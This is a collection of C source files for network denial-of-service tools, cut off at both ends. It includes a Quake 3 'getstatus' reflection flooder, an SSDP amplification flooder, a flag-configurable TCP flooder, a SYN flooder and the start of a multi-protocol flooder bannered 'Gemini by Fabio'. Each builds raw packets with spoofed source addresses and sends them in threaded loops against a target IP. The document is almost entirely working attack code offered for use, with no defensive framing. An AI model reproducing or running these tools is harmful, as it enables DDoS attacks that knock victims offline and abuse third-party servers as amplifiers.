"Usage: %s <target IP> <target port> <reflection file> <threads> " "<pps limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets...\n"); int max_len = 128; char *buffer = (char *)malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) { buffer[strlen(buffer) - 1] = 0x00; if (head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr = inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr = inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for (i = 0; i < num_threads; i++) { td[i].thread_id = i; td[i].sin = sin; td[i].list_node = current; pthread_create(&thread[i], NULL, &flood, (void *)&td[i]); } fprintf(stdout, "Starting flood...\n"); for (i = 0; i < (atoi(argv[6]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 |
#include <time.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum (unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(27960); udph->check = 0; memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", 14); udph->len=htons(sizeof(struct udphdr) + 14); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if(s < 0){ fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while(1){ sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); pps++; if(i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[ ]) { if(argc < 6){ fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets...\n"); int max_len = 128; char *buffer = (char *) malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) { buffer[strlen(buffer) - 1] = 0x00; if(head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr=inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr=inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for(i = 0;i<num_threads;i++){ td[i].thread_id = i; td[i].sin= sin; td[i].list_node = current; pthread_create( &thread[i], NULL, &flood, (void *) &td[i]); } fprintf(stdout, "Starting flood...\n"); for(i = 0;i<(atoi(argv[6])*multiplier);i++) { usleep((1000/multiplier)*1000); if((pps*multiplier) > maxpps) { if(1 > limiter) { sleeptime+=100; } else { limiter--; } } else { limiter++; if(sleeptime > 25) { sleeptime-=25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 |
#include <time.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data { int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 90; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(1900); udph->check = 0; strcpy((void *)udph + sizeof(struct udphdr), "M-SEARCH * " "HTTP/" "1.1\r\nHost:239.255.255.250:1900\r\nST:ssdp:all\r\nMan:\"ssdp:" "discover\"\r\nMX:3\r\n\r\n"); udph->len = htons(sizeof(struct udphdr) + 90); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 6) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps " "limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets...\n"); int max_len = 128; char *buffer = (char *)malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) { buffer[strlen(buffer) - 1] = 0x00; if (head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr = inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr = inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for (i = 0; i < num_threads; i++) { td[i].thread_id = i; td[i].sin = sin; td[i].list_node = current; pthread_create(&thread[i], NULL, &flood, (void *)&td[i]); } fprintf(stdout, "Starting flood...\n"); for (i = 0; i < (atoi(argv[6]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 |
#include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <pthread.h> #include <netinet/tcp.h> #include <netinet/ip.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <netdb.h> #include <net/if.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 4096 #define PHI 0x9e3779b9 static unsigned long int Q[4096], c = 362436; static unsigned int floodport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; int ack, syn, psh, fin, rst, urg, ptr, res2, seq; void init_rand(unsigned long int x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } unsigned long int rand_cmwc(void) { unsigned long long int t, a = 18782LL; static unsigned long int i = 4095; unsigned long int x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int count) { register unsigned long sum = 0; while (count > 1) { sum += *buf++; count -= 2; } if (count > 0) { sum += *(unsigned char *)buf; } while (sum >> 16) { sum = (sum & 0xffff) + (sum >> 16); } return (unsigned short)(~sum); } unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { struct tcp_pseudo { unsigned long src_addr; unsigned long dst_addr; unsigned char zero; unsigned char proto; unsigned short length; } pseudohead; unsigned short total_len = iph->tot_len; pseudohead.src_addr = iph->saddr; pseudohead.dst_addr = iph->daddr; pseudohead.zero = 0; pseudohead.proto = IPPROTO_TCP; pseudohead.length = htons(sizeof(struct tcphdr)); int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); unsigned short *tcp = malloc(totaltcp_len); memcpy((unsigned char *)tcp, &pseudohead, sizeof(struct tcp_pseudo)); memcpy((unsigned char *)tcp + sizeof(struct tcp_pseudo), (unsigned char *)tcph, sizeof(struct tcphdr)); unsigned short output = csum(tcp, totaltcp_len); free(tcp); return output; } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); iph->id = htonl(rand() % 54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = 6; iph->check = 0; iph->saddr = inet_addr("8.8.8.8"); } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = htons(rand() % 65535); tcph->seq = rand(); tcph->ack = ack; tcph->ack_seq = seq; tcph->psh = psh; tcph->fin = fin; tcph->rst = rst; tcph->res2 = res2; tcph->doff = 5; tcph->syn = syn; tcph->urg = urg; tcph->urg_ptr = ptr; tcph->window = rand(); tcph->check = 0; } void *flood(void *par1) { char *td = (char *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(floodport); sin.sin_addr.s_addr = inet_addr(td); int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = htons(floodport); iph->daddr = sin.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)); iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len); tcph->seq = rand_cmwc() & 0xFFFF; tcph->source = htons(rand_cmwc() & 0xFFFF); tcph->check = 0; tcph->check = tcpcsum(iph, tcph); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 7) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <port> <threads> <pps limiter, -1 for no " "limit> <time> <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", argv[0]); exit(-1); } fprintf(stdout, "Opening sockets...\n"); int num_threads = atoi(argv[3]); floodport = atoi(argv[2]); int maxpps = atoi(argv[4]); limiter = 0; pps = 0; pthread_t thread[num_threads]; if (strstr(argv[6], "ack")) ack = 1; else ack = 0; if (strstr(argv[6], "seq")) seq = 1; else seq = 0; if (strstr(argv[6], "psh")) psh = 1; else psh = 0; if (strstr(argv[6], "fin")) fin = 1; else fin = 0; if (strstr(argv[6], "rst")) rst = 1; else rst = 0; if (strstr(argv[6], "res2")) res2 = 1; else res2 = 0; if (strstr(argv[6], "syn")) syn = 1; else syn = 0; if (strstr(argv[6], "urg")) urg = 1; else urg = 0; if (strstr(argv[6], "ptr")) ptr = 1; else ptr = 0; int multiplier = 20; int i; for (i = 0; i < num_threads; i++) { pthread_create(&thread[i], NULL, &flood, (void *)argv[1]); } fprintf(stdout, "Sending attack...\n"); for (i = 0; i < (atoi(argv[5]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 |
#include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <pthread.h> #include <netinet/tcp.h> #include <netinet/ip.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <netdb.h> #include <net/if.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 4096 #define PHI 0x9e3779b9 static unsigned long int Q[4096], c = 362436; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; void init_rand(unsigned long int x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } unsigned long int rand_cmwc(void) { unsigned long long int t, a = 18782LL; static unsigned long int i = 4095; unsigned long int x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int count) { register unsigned long sum = 0; while (count > 1) { sum += *buf++; count -= 2; } if (count > 0) { sum += *(unsigned char *)buf; } while (sum >> 16) { sum = (sum & 0xffff) + (sum >> 16); } return (unsigned short)(~sum); } unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { struct tcp_pseudo { unsigned long src_addr; unsigned long dst_addr; unsigned char zero; unsigned char proto; unsigned short length; } pseudohead; unsigned short total_len = iph->tot_len; pseudohead.src_addr = iph->saddr; pseudohead.dst_addr = iph->daddr; pseudohead.zero = 0; pseudohead.proto = IPPROTO_TCP; pseudohead.length = htons(sizeof(struct tcphdr)); int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); unsigned short *tcp = malloc(totaltcp_len); memcpy((unsigned char *)tcp, &pseudohead, sizeof(struct tcp_pseudo)); memcpy((unsigned char *)tcp + sizeof(struct tcp_pseudo), (unsigned char *)tcph, sizeof(struct tcphdr)); unsigned short output = csum(tcp, totaltcp_len); free(tcp); return output; } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = 6; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = htons(5678); tcph->seq = rand(); tcph->ack_seq = 1; tcph->res2 = 0; tcph->doff = 5; tcph->syn = 1; tcph->window = htons(65535); tcph->check = 0; tcph->urg_ptr = 0; } void *flood(void *par1) { char *td = (char *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(rand() % 20480); sin.sin_addr.s_addr = inet_addr(td); int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, ":: cant open raw socket. got root?\n"); exit(-1); } memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = htons(rand() % 20480); iph->daddr = sin.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, ":: motherfucking error.\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)); iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len); tcph->seq = rand_cmwc() & 0xFFFF; tcph->source = htons(rand_cmwc() & 0xFFFF); tcph->check = 0; tcph->check = tcpcsum(iph, tcph); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 5) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <IP> <threads <throttle, -1 for no throttle> <time>\n", argv[0]); exit(-1); } int num_threads = atoi(argv[2]); int maxpps = atoi(argv[3]); limiter = 0; pps = 0; pthread_t thread[num_threads]; int multiplier = 20; int i; for (i = 0; i < num_threads; i++) { pthread_create(&thread[i], NULL, &flood, (void *)argv[1]); } fprintf(stdout, ":: sending all the packets..\n"); for (i = 0; i < (atoi(argv[4]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 |
#define FIX(x) (x) #endif #define TCP_ACK 1 #define TCP_FIN 2 #define TCP_SYN 4 #define TCP_RST 8 #define UDP_CFF 16 #define ICMP_ECHO_G 32 #define TCP_NOF 64 #define TCP_URG 128 #define TH_NOF 0x0 #define TCP_ATTACK() \ (a_flags & TCP_ACK || a_flags & TCP_FIN || a_flags & TCP_SYN || \ a_flags & TCP_RST || a_flags & TCP_NOF || a_flags & TCP_URG) #define UDP_ATTACK() (a_flags & UDP_CFF) #define ICMP_ATTACK() (a_flags & ICMP_ECHO_G) #define CHOOSE_DST_PORT() \ dst_sp == 0 ? random() : htons(dst_sp + (random() % (dst_ep - dst_sp + 1))); #define CHOOSE_SRC_PORT() \ src_sp == 0 ? random() : htons(src_sp + (random() % (src_ep - src_sp + 1))); #define SEND_PACKET() \ if (sendto(rawsock, &packet, (sizeof packet), 0, (struct sockaddr *)&target, \ sizeof target) < 0) { \ perror("sendto"); \ exit(-1); \ } #define BANNER_CKSUM 54018 u_long lookup(const char *host); unsigned short in_cksum(unsigned short *addr, int len); static void inject_iphdr(struct ip *ip, u_char p, u_char len); char *class2ip(const char *class); static void send_tcp(u_char th_flags); static void send_udp(u_char garbage); static void send_icmp(u_char garbage); char *get_plain(const char *crypt_file, const char *xor_data_key); static void usage(const char *argv0); u_long dstaddr; u_short dst_sp, dst_ep, src_sp, src_ep; char *src_class, *dst_class; int a_flags, rawsock; struct sockaddr_in target; const char *banner = "\e[1;37m(\e[0m\e[0;31mGemini\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(" "\e[0m\e[0;31mFabio\e[0m\e[1;37m)\e[0m"; struct pseudo_hdr { u_long saddr, daddr; u_char mbz, ptcl; u_short tcpl; }; struct cksum { struct pseudo_hdr pseudo; struct tcphdr tcp; }; struct { int gv; int kv; void (*f)(u_char); } a_list[] = { {TCP_ACK, TH_ACK, send_tcp}, {TCP_FIN, TH_FIN, send_tcp}, {TCP_SYN, TH_SYN, send_tcp}, {TCP_RST, TH_RST, send_tcp}, {TCP_NOF, TH_NOF, send_tcp}, {TCP_URG, TH_URG, send_tcp}, {UDP_CFF, 0, send_udp}, {ICMP_ECHO_G, ICMP_ECHO, send_icmp}, {0, 0, (void *)NULL}, }; int main(int argc, char *argv[]) { int n, i, on = 1; int b_link; #ifdef F_PASS struct stat sb; #endif unsigned int until; a_flags = dstaddr = i = 0; dst_sp = 